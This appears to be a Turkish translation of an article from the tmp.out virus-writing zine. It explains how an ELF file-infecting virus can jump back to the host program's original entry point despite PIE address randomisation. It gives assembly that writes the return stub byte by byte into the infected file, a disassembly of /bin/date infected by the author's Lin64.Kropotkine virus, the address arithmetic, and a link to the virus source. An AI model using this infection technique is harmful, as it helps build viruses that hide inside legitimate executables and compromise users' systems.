┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄▄▄▄▄ │ │ █ │ Return To Original Entry Point Despite PIE │ █ │ ~ S01den └───────────────────█ ──┘ [ @akilgundogan / M. Akil Gündoğan tarafından çevrilmiştir.] tmp.out tayfadan s01den tarafından sevgiyle yazıldı ! --- 1) Giriş --- Virüsler dünyasına ilk adım attığımda, ilk düşündüğüm şey ve karşılaştığım zorluk, programın asıl başlangıç noktasının (OEP) nasıl doğru bir şekilde geri döndürülebileceğiydi. Bu temel özellik isim yapmış her virüste yer alan bir özellikti ve geçmişte oldukça kolay bir şekilde uygulamak mümkündü (mov ebx, OEP; jmp ebx). Şu anda neden bu kadar kolay olmadığını merak ediyor olabilirsiniz. Bu sorunuzun cevabı yalnızca 3 harf: PIE, yani Position Independent Executable özelliği. PIE kullanılan ikili (binary) dosyalarda her çalıştırmada talimatların başlangıç adresi rastgele bir şekilde belirlenir. Yani programın başlangıç noktası olan OEP sabit kalmaz, istediklerimizi uygulayabilmek için birtakım hesaplamalar yapmak zorundayız. Hemen bunu nasıl yapacağımızı görelim ! --- 2) PIE'ye rağmen OEP'e dönüş --- Burada Lin64.Kropotkine[0]'da kulalndığım Ret2OEP hesaplama yöntemini kullanacağım. Birkaç gün bu konuda takılıp kalsam da nihayet Elfmaster[1]'ın bir makalesi bana ışığı gösterdi. İşte kodumuz: -------------------------------- BURAYI-KES ------------------------------------------ mov rcx, r15 ; r15 virüs kodumuzun depolandığı adresi stack üzerinde tutar add rcx, VXSIZE ; rcx artık virüs kodumuzdan daha sonra gelen ilk adresi içerir mov dword [rcx], 0xffffeee8 ; önceki 13 baytta bulunan get_eip fonksiyonuna relative call mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5) mov byte [rcx+8], 0x00000005 mov word [rcx+11], 0x0002d48 mov qword [rcx+13], r9 ; sub rax, entry0 mov word [rcx+17], 0x0000548 mov qword [rcx+19], r12 ; add rax, sym._start mov dword [rcx+23], 0xfff4894c ; mov rsp, r14 mov word [rcx+27], 0x00e0 ; jmp rax ------------------------------------------------------------------------------------ Gördüğünüz gibi, OEP'e geri dönüş yapacak kodu byte byte doğrudan belleğe yazıyoruz ki (virüs kodundan sonra, önceki virüs kodunun yürütülmesinden hemen ardından bu rutine dönüş yapabiliriz) yazacağımız byte'lar hedefi enfekte edebilsin. Şöyle bir şey görmek istiyoruz: (bu kod, Lin64.Kropotkine ile enfekte ettiğim /bin/date dosyamdan geliyor) -------------------------------- BURAYI-KES ------------------------------------------ ; virüs kodumuzun sonu get_rip: 0x0c01ada3 488b0424 mov rax, qword [rsp] 0x0c01ada7 c3 ret getdot: 0x0c01ada8 e842fbffff call 0xc01a8ef ; call main 0x0c01adad 2e0000 add byte cs:[rax], al ; '.' ; <---- virüs kodunun sonundayken ret2OEP kodumuzu buraya eklemek istiyoruz. ; Burası olmasını istediğimiz kod: 0x0c01adb0 e8eeffffff call 0xc01ada3 ; call get_rip <-- 0x0c01adb5 482d0d050000 sub rax, 0x50d ; sub rax, (VXSIZE+5) 0x0c01adbb 482da8a8010c sub rax, entry0 0x0c01adc1 4805b0380000 add rax, 0x38b0 ; add rax, sym._start 0x0c01adc7 4c89f4 mov rsp, r14 ; orijinal stack'e dönüş 0x0c01adca ffe0 jmp rax ------------------------------------------------------------------------------------ Temelde, OEP'i hesaplamak gerçekten komplike veya zor bir şey değildir. Diyelim ki, host tarafından yürütülecek orijinal kodun üzerinde yer alan ilk komutun ofseti (yani rastgele hale getirilmemiş OEP'in) 0x38b0 ve RIP'imiz 0x55556156edb5 (rastgele bir adres) olsun. get_rip'i çağırdığımızda (yukarıdaki kodda 0x0c1adb0) bir değer elde edelim. Biz istiyoruz ki OEP'e atlayabilelim, bu yüzden OEP'in rastgele adresini öğrenmemiz gerekiyor. Pekalâ devam edelim, call get_rip komutu RIP'i RAX'e koyar, bu yüzden virüsün başlangıç adresini elde edebilmek için RAX (0x55556156edb5) üzerinden virüsün boyutunu (ve ek olarak get_rip çağrısının boyutu olan 5'i) çıkarmamız gerekiyor. ---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; virüs kodumuzun ilk talimatının adresi Şimdi, bu yeni entry point ile virüs kodunun rastgeleleştirilmemiş/non-randomized başlangıcı (önceden virüsün çalışması esnasında hesaplanan, bizim durumumuzda bu 0xc01a8a8) birbirinden çıkarılır. Yani aslında sadece yaptığımız şey bu: ---> rastgeleleştirilmiş yeni entry point noktası - rastgeleleştirilmemiş yeni entry point (e_hdr.entry) Elimizdeki değerleri kullanarak şöyle bir işlem gerçekleştirip, bir değer elde edeceğiz. ---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000 Yukarıdaki çıkarma işlemi ile hedeflediğimiz şey rastgeleleştirme işleminin tabanını/base'ini elde etmekti. Artık elimizdeki bu değere sadece orijinal e_hdr.entry'i eklememiz gerekiyor. (randomize edilmemiş OEP): ---> 0x555555554000 + 0x38b0 = 0x5555555578b0 Artık atlayabileceğiniz doğru bir adrese sahipsiniz ! Yani jmp rax host'a ait orijinal kodu yürütmeye başlayacaktır ! --- Sonuç --- Kısa bir özet geçecek olursak, az önce yaptığımız şey buydu: ---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry Gördüğünüz gibi çok kolay bir matematiksel işlem ! ;) Çok yaşa vx scene ! Burada otoriteler var, özgürlük yok. Her şey, herkes içindir. Hasta siempre! --- Notlar ve referanslar --- [0] https://github.com/vxunderground/MalwareSourceCode /blob/main/VXUG/Linux.Kropotkine.asm [1] Modern ELF Infection Techniques of SCOP Binaries: https://bitlackeys.org/papers/pocorgtfo20.pdf - özellikle şu kısım: "Note on resolving Elf_Hdr->e_entry in PIEexecutables" --- Kaynakça --- - Linux.Kropotkine.asm